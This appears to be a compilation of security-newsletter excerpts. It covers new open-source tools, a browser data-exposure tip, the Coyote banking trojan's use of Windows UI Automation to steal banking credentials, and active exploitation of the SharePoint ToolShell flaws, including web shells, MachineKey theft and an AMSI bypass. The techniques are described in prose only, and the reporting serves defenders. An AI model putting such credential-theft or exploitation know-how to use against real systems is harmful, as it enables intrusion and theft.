Unlike academic plagiarism tools, Vendetect is optimized for software engineering environments: it catches renamed functions, stripped comments, and altered formatting, and helps trace untracked dependencies, license violations, and inherited vulnerabilities often found during security assessments. Telegram Channel Scraper - It is a Python-based tool designed for advanced monitoring and data collection from public Telegram channels. It uses the Telethon library to scrape messages and media, storing everything in optimized SQLite databases. Built for efficiency and scale, it supports real-time scraping, parallel media downloads, and batch data exports. This makes it useful for researchers, analysts, and security teams who need structured access to Telegram content for investigation or archiving — without depending on manual scraping or third-party platforms. Disclaimer: These newly released tools are for educational use only and haven’t been fully audited. Use at your own risk—review the code, test safely, and apply proper safeguards. 🔒 Tip of the Week Don’t Trust Your Browser Blindly — Most people think of their browser as just a tool to get online — but in reality, it’s one of the most exposed parts of your device. Behind the scenes, your browser quietly stores names, emails, companies, and sometimes even payment info. This data often lives in plain, unencrypted files that are easy to extract if someone gains local access — even briefly. For example, in Chrome or Edge, personal autofill details are stored in a file called Web Data, which is a basic SQLite database anyone with access can read. This means that if your machine is compromised — even by a simple script — your personal or even work identity can be quietly stolen. Red teamers and attackers love this kind of recon gold. It doesn’t stop there. Browsers also keep session cookies, local storage, and site databases that often don’t get wiped, even after logout. This data can allow attackers to hijack your logged-in sessions or extract sensitive info stored by web apps — including company tools. Even browser extensions, if malicious or hijacked, can quietly spy on your activity or inject bad code into pages you trust. Another weak spot? Browser extensions. Even legitimate-looking add-ons can have wide permissions — letting them read what you type, track your browsing, or inject scripts. If a trusted extension gets compromised in an update, it can silently become a data theft tool. This happens more often than people think. Here’s how to reduce the risk: Clear autofill, cookies, and site data regularly Disable autofill entirely on workstations Limit extensions — audit them using tools like CRXcavator or Extension Police Use DB Browser for SQLite to inspect stored files (Web Data, Cookies) Use tools like BleachBit to securely wipe traces Browsers are essentially lightweight application platforms. If you’re not auditing how they store data and who can access it, you’re leaving a major gap open — especially on shared or endpoint-exposed machines. Conclusion This week’s signals are less a conclusion and more a provocation: What else might we be misclassifying? What familiar data could become meaningful under a different lens? If the adversary thinks in systems, not symptoms, our defenses must evolve accordingly. Sometimes, the best response isn’t a patch—it’s a perspective shift. There’s value in looking twice where others have stopped looking altogether.
thehackernews.comJul 28, 2025extracted
New Coyote Malware Variant Exploits Windows UI Automation to Steal Banking Credentials
The Windows banking trojan known as Coyote has become the first known malware strain to exploit the Windows accessibility framework called UI Automation (UIA) to harvest sensitive information. "The new Coyote variant is targeting Brazilian users, and uses UIA to extract credentials linked to 75 banking institutes' web addresses and cryptocurrency exchanges," Akamai security researcher Tomer Peled said in an analysis. Coyote, first revealed by Kaspersky in 2024, is known for targeting Brazilian users. It comes with capabilities to log keystrokes, capture screenshots, and serve overlays on top of login pages associated with financial enterprises. Part of the Microsoft .NET Framework, UIA is a legitimate feature offered by Microsoft to allow screen readers and other assistive technology products to programmatically access user interface (UI) elements on a desktop. That UIA can be a potential pathway for abuse, including data theft, was previously demonstrated as a proof-of-concept (PoC) by Akamai in December 2024, with the web infrastructure company noting that it could be used to steal credentials or execute code. In some ways, Coyote's latest modus operandi mirrors the various Android banking trojans that have been spotted in the wild, which often weaponize the operating system's accessibility services to obtain valuable data. Akamai's analysis found that the malware invokes the GetForegroundWindow() Windows API in order to extract the active window's title and compare it against a hard-coded list of web addresses belonging to targeted banks and cryptocurrency exchanges. "If no match is found Coyote will then use UIA to parse through the UI child elements of the window in an attempt to identify browser tabs or address bars," Peled explained. "The content of these UI elements will then be cross-referenced with the same list of addresses from the first comparison." As many as 75 different financial institutions are targeted by the latest version of the malware, up from 73 documented by Fortinet FortiGuard Labs earlier this January. "Without UIA, parsing the sub-elements of another application is a nontrivial task," Akamai added. "To be able to effectively read the contents of sub-elements within another application, a developer would need to have a very good understanding of how the specific target application is structured." "Coyote can perform checks, regardless of whether the malware is online or operating in an offline mode. This increases the chances of successfully identifying a victim’s bank or crypto exchange and stealing their credentials."
thehackernews.comJul 23, 2025extracted
CISA Orders Urgent Patching After Chinese Hackers Exploit SharePoint Flaws in Live Attacks
The U.S. Cybersecurity and Infrastructure Security Agency (CISA), on July 22, 2025, added two Microsoft SharePoint flaws, CVE-2025-49704 and CVE-2025-49706, to its Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. To that end, Federal Civilian Executive Branch (FCEB) agencies are required to remediate identified vulnerabilities by July 23, 2025. "CISA is aware of active exploitation of a spoofing and RCE vulnerability chain involving CVE-2025-49706 and CVE-2025-49704, enabling unauthorized access to on-premise SharePoint servers," the agency said in an updated advisory. The inclusion of the two shortcomings, a spoofing vulnerability and a remote code execution vulnerability collectively tracked as ToolShell, to the KEV catalog comes after Microsoft revealed that Chinese hacking groups like Linen Typhoon and Violet Typhoon leveraged these flaws to breach on-premises SharePoint servers since July 7, 2025. As of writing, the tech giant's own advisories only list CVE-2025-53770 as being exploited in the wild. What's more, it describes the four flaws as below - CVE-2025-49704 – SharePoint Remote Code Execution CVE-2025-49706 – SharePoint Post-auth Remote Code Execution CVE-2025-53770 – SharePoint ToolShell Authentication Bypass and Remote Code Execution CVE-2025-53771 – SharePoint ToolShell Path Traversal The fact that CVE-2025-53770 is both an authentication bypass and a remote code execution bug indicates that CVE-2025-53771 is not necessary to build the exploit chain. CVE-2025-53770 and CVE-2025-53771 are assessed to be patch bypasses for CVE-2025-49704 and CVE-2025-49706, respectively. "The root cause [of CVE-2025-53770] is a combination of two bugs: An authentication bypass (CVE-2025-49706) and an insecure deserialization vulnerability (CVE-2025-49704)," the Akamai Security Intelligence Group said. The attack chains observed so far entail the exploitation of SharePoint flaws to deploy a web shell that allows the threat actors to retrieve and steal MachineKey data. Symantec said it also identified post-exploitation activity in which adversaries ran an encoded PowerShell command to download a file named "client.exe" from an external server and save it locally as "debug.js." "The executable was likely renamed as debug.js in order to make it look benign and avoid raising suspicions," the Broadcom-owned company said, adding the binary is then used to run a Windows batch script that captures system information and cryptographic secrets. When reached for comment regarding the exploitation status of CVE-2025-53771 and other flaws, a Microsoft spokesperson told The Hacker News that the information published in its advisories is correct "at the time of original publication" and that it does not typically update post-release. "Microsoft also assists CISA with the Known Exploited Vulnerabilities Catalog which provides regularly updated information on exploited vulnerabilities," the spokesperson added. The development comes as watchTowr Labs told the publication that it has internally devised a method exploiting CVE-2025-53770 such that it bypasses Antimalware Scan Interface (AMSI), a mitigation step outlined by Microsoft to prevent unauthenticated attacks. "This has allowed us to continue identifying vulnerable systems even after mitigations like AMSI have been applied," watchTowr CEO Benjamin Harris said. "AMSI was never a silver bullet, and this outcome was inevitable. But we're concerned to hear that some organizations are choosing to 'enable AMSI' instead of patching. This is a very bad idea." "Now that exploitation has been linked to nation-state actors, it would be naive to think they could leverage a SharePoint zero-day but somehow not bypass AMSI. Organizations must patch. Should go without saying – all the public PoCs will trigger AMSI, and mislead organizations into believing the mitigations are comprehensive/the host is no longer vulnerable. This would be incorrect." Update When contacted for comment, CISA said it's still early in the incident response, adding it's continually assessing the scope and impact associated with the SharePoint Server flaws. "CISA continues to work in lockstep with Microsoft, as well as federal and other partners, to address and mitigate the active exploitation of multiple vulnerabilities impacting Microsoft on-site SharePoint servers," said Acting Executive Assistant Director for Cybersecurity, Chris Butera, in a statement shared with The Hacker News. The agency also said it's aware of federal agencies and State, Local, Tribal, and Territorial (SLTT) partners affected by the activity, and that it's working with them to assess the scope and mitigate the risk as appropriate. According to latest estimates, about 400 government agencies, corporations, and other entities have been compromised. (The story was updated after publication to include a response from CISA.)
thehackernews.comJul 23, 2025extracted
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